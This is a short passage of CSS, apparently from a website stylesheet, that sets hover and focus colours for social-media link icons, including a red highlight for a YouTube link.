	outline: 0;
	}	
.sns_link a:hover	i,
.sns_link a:focus i {
	background-color: #2555B1;
	color: #fff;
	}
.sns_link a:focus span {
	text-decoration: underline;
	}	
.sns_link .box_youtube a:hover	i,
.sns_link .box_youtube a:focus	i   {
    background-color: #D12B2F;
	}